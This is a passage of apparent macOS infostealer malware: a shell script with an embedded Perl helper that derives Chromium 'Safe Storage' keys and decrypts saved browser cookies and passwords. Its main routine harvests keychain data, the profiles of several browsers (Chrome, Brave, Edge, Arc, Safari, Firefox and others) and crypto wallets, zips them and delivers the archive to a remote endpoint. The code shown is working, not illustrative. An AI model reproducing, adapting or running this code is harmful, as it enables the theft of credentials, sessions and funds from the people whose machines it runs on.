sub bin2hex { return unpack('H*', shift); }

sub esc {
    my $s = shift;
    $s = '' unless defined $s;
    $s =~ s/\\/\\\\/g;
    $s =~ s/\t/\\t/g;
    $s =~ s/\r/\\r/g;
    $s =~ s/\n/\\n/g;
    $s =~ s/([^\x20-\x7e])/sprintf('\\x%02x', ord($1))/ge;
    return $s;
}

# decrypt one chrome blob: optional 3-byte "v10" header, optional 32-byte host hash (cookies)
sub chrome_decrypt {
    my ($keyhex, $hexblob, $mode, $host) = @_;
    my $raw = hex2bin($hexblob);
    return undef unless length($raw) > 3;
    my $pfx = substr($raw, 0, 3);
    return undef unless $pfx eq 'v10' || $pfx eq 'v11';
    my $ct  = substr($raw, 3);
    return undef if length($ct) == 0 || length($ct) % 16;
    my $key = hex2bin($keyhex);
    my $iv  = ' ' x 16;
    my $pt  = cbc_decrypt($ct, $key, $iv);
    if ($mode eq 'c' && length($pt) > 32) {
        my $h = (defined $host && length($host)) ? substr(sha256_bin($host), 0, 32) : '';
        if (length($h) && substr($pt, 0, 32) eq $h) {
            $pt = substr($pt, 32);
        }
        else {
            # Chrome >= 130 prepends SHA256(host_key). If the hash input differs
            # (older build, different domain form) fall back to the plaintext
            # shape: 32 high-entropy bytes followed by readable text.
            my $tail = substr($pt, 32);
            my $tp   = () = $tail =~ /[\x20-\x7e]/g;
            my $hp   = () = substr($pt, 0, 32) =~ /[\x20-\x7e]/g;
            if (length($tail) > 0 && ($tp / length($tail)) > 0.9 && $hp < 8) {
                $pt = $tail;
            }
        }
    }
    return $pt;
}

# ---------------- modes ----------------
my $mode = shift @ARGV // '';
my $out;

if ($mode eq 'key') {
    my ($pass, $salt, $iter, $len) = @ARGV;
    $iter = 1003 unless defined $iter && $iter =~ /^\d+$/;
    $len  = 16   unless defined $len  && $len  =~ /^\d+$/;
    print bin2hex(pbkdf2_sha1($pass // '', $salt // 'saltysalt', $iter, $len)), "\n";
    exit 0;
}
elsif ($mode eq 'dec') {
    my ($keyhex, $hexblob, $file) = @ARGV;
    my $pt = chrome_decrypt($keyhex, $hexblob, 'p', '');
    exit 3 unless defined $pt;
    if (defined $file && length $file) {
        open(my $fh, '>:raw', $file) or exit 4;
        print $fh $pt;
        close $fh;
    } else {
        binmode(STDOUT);
        print $pt;
    }
    exit 0;
}
elsif ($mode eq 'batch') {
    # stdin: mode \t id \t host \t hexblob   ->  stdout: id \t escaped-plaintext
    my $keyhex = shift @ARGV;
    while (my $line = <STDIN>) {
        chomp $line;
        next unless length $line;
        my ($m, $id, $host, $hex) = split(/\t/, $line, 4);
        next unless defined $hex;
        my $pt = chrome_decrypt($keyhex, $hex, ($m eq 'c' ? 'c' : 'p'), $host);
        my $val = defined $pt ? esc($pt) : '<undecryptable>';
        print $id, "\t", $val, "\n";
    }
    exit 0;
}
elsif ($mode eq 'dbg') {
    print 'S1=', sprintf('%02x', $S[1]), ' S2=', sprintf('%02x', $S[2]), ' M2[5]=', sprintf('%02x', $M2[5]), ' M9[5]=', sprintf('%02x', $M9[5]), "\n";
    my $w = expand_key(hex2bin('000102030405060708090a0b0c0d0e0f'));
    for my $i (0 .. 7) { print 'w', $i, '=', sprintf('%02x', $w->[4 * $i]), sprintf('%02x', $w->[4 * $i + 1]), sprintf('%02x', $w->[4 * $i + 2]), sprintf('%02x', $w->[4 * $i + 3]), "\n"; }
    exit 0;
}
elsif ($mode eq 'selftest') {
    my $fail = 0;
    my @v = (
        [ 'password', 'salt', 1,    20, '0c60c80f961f0e71f3a9b524af6012062fe037a6' ],
        [ 'password', 'salt', 4096, 20, '4b007901b765489abead49d926f721d065a429c1' ],
        [ 'password', 'salt', 4096, 16, '4b007901b765489abead49d926f721d0' ],
        [ 'peanuts',  'saltysalt', 1003, 16, 'd9a09d499b4e1b7461f28e67972c6dbd' ],
    );
    for my $t (@v) {
        my $got = bin2hex(pbkdf2_sha1($t->[0], $t->[1], $t->[2], $t->[3]));
        my $ok  = $got eq $t->[4];
        $fail++ unless $ok;
        print 'PBKDF2 ', ($ok ? 'OK  ' : 'FAIL'), " c=$t->[2] len=$t->[3] $got\n";
    }
    my $s0 = sprintf('%02x', $S[0]);
    my $si = sprintf('%02x', $SI[0x63]);
    print 'SBOX ', ($s0 eq '63' && $si eq '00' ? 'OK  ' : 'FAIL'), " S[0]=$s0 SI[63]=$si\n";
    $fail++ unless $s0 eq '63' && $si eq '00';

    my $k1 = hex2bin('000102030405060708090a0b0c0d0e0f');
    my $p1 = dec_block(hex2bin('69c4e0d86a7b0430d8cdb78070b4c55a'), expand_key($k1));
    my $h1 = bin2hex($p1);
    print 'AES-ECB ', ($h1 eq '00112233445566778899aabbccddeeff' ? 'OK  ' : 'FAIL'), " $h1\n";
    $fail++ unless $h1 eq '00112233445566778899aabbccddeeff';

    my $k2  = hex2bin('2b7e151628aed2a6abf7158809cf4f3c');
    my $iv2 = hex2bin('000102030405060708090a0b0c0d0e0f');
    my $c2  = hex2bin('7649abac8119b246cee98e9b12e9197d');
    my $p2  = cbc_decrypt($c2, $k2, $iv2);
    my $h2  = bin2hex($p2);
    print 'AES-CBC ', ($h2 eq '6bc1bee22e409f96e93d7e117393172a' ? 'OK  ' : 'FAIL'), " $h2\n";
    $fail++ unless $h2 eq '6bc1bee22e409f96e93d7e117393172a';

    print $fail ? "SELFTEST FAILED ($fail)\n" : "SELFTEST PASSED\n";
    exit($fail ? 1 : 0);
}
else {
    print STDERR "usage: cryptest.pl key|dec|batch|selftest ...\n";
    exit 2;
}
WSX_CRYPTO_EOF
    chmod 700 "$CRYPTO_PL" 2>/dev/null

    if [ "$SELFTEST" = 1 ]; then
        selftest
        exit $?
    fi

    if ! perl -e 'use Digest::SHA;' >/dev/null 2>&1; then
        printf 'perl/Digest::SHA unavailable - decryption disabled\n' >&2
        : > "$CRYPTO_PL"
    fi

    log "=== $BUILD_TAG on $HOSTNAME_S / $USER_S ==="
    collect_system
    collect_keychain
    scan_chromium "Chrome"  "$HOME/Library/Application Support/Google/Chrome"        "Chrome Safe Storage"
    scan_chromium "Brave"   "$HOME/Library/Application Support/BraveSoftware/Brave-Browser" "Brave Safe Storage"
    scan_chromium "Edge"    "$HOME/Library/Application Support/Microsoft Edge"       "Microsoft Edge Safe Storage"
    scan_chromium "Arc"     "$HOME/Library/Application Support/Arc/User Data"        "Arc Safe Storage"
    scan_chromium "Vivaldi" "$HOME/Library/Application Support/Vivaldi"              "Vivaldi Safe Storage"
    scan_chromium "Opera"   "$HOME/Library/Application Support/com.operasoftware.Opera" "Opera Safe Storage"
    scan_chromium "Chromium" "$HOME/Library/Application Support/Chromium"            "Chromium Safe Storage"
    scan_safari
    scan_firefox
    collect_wallets

    if ! package; then
        printf 'packaging failed\n' >&2
        exit 3
    fi

    THREAD_NAME="$HOSTNAME_S"
    SUMMARY=$(build_summary)

    if [ "$SEND" = 0 ]; then
        printf '%s\n' "$SUMMARY"
        printf '\n[no-send] archive: %s\n' "$ZIP"
        printf '[no-send] parts: %s\n' "$PARTS"
        KEEP=1
        exit 0
    fi

    deliver "$SUMMARY"
    if [ "$(cat "$WORK/.delivered" 2>/dev/null)" = "1" ]; then
        log "delivered"
        exit 0
    fi
    printf 'delivery failed (http %s / code %s)\n' "$(cat "$WORK/.code" 2>/dev/null)" "$(resp_code)" >&2
    exit 4
}

# When sourced for testing (WSX_LIB=1) only the functions are defined.
[ "${WSX_LIB:-0}" = "1" ] || main "$@"
